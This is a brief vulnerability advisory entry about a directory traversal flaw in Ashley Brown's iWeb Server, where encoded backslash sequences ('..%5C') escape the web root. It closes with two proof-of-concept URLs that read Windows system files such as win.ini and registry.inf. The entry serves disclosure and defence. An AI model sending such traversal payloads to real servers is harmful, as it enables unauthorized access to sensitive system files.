Ashley Brown iWeb Server Encoded Backslash Directory Traversal Vulnerability

2014-07-01T00:00:00
ID SSV:77089
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00

Description

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                                                source: http://www.securityfocus.com/bid/8943/info

It has been reported that iWeb Server is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '..%5C' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

http://127.0.0.1/..%5C..%5C..%5C.. %5C..%5C..%5C/winnt/win.ini

http://127.0.0.1/..%5C..%5C..%5C..%5C..%5C..%5C/winnt/system32/registry.inf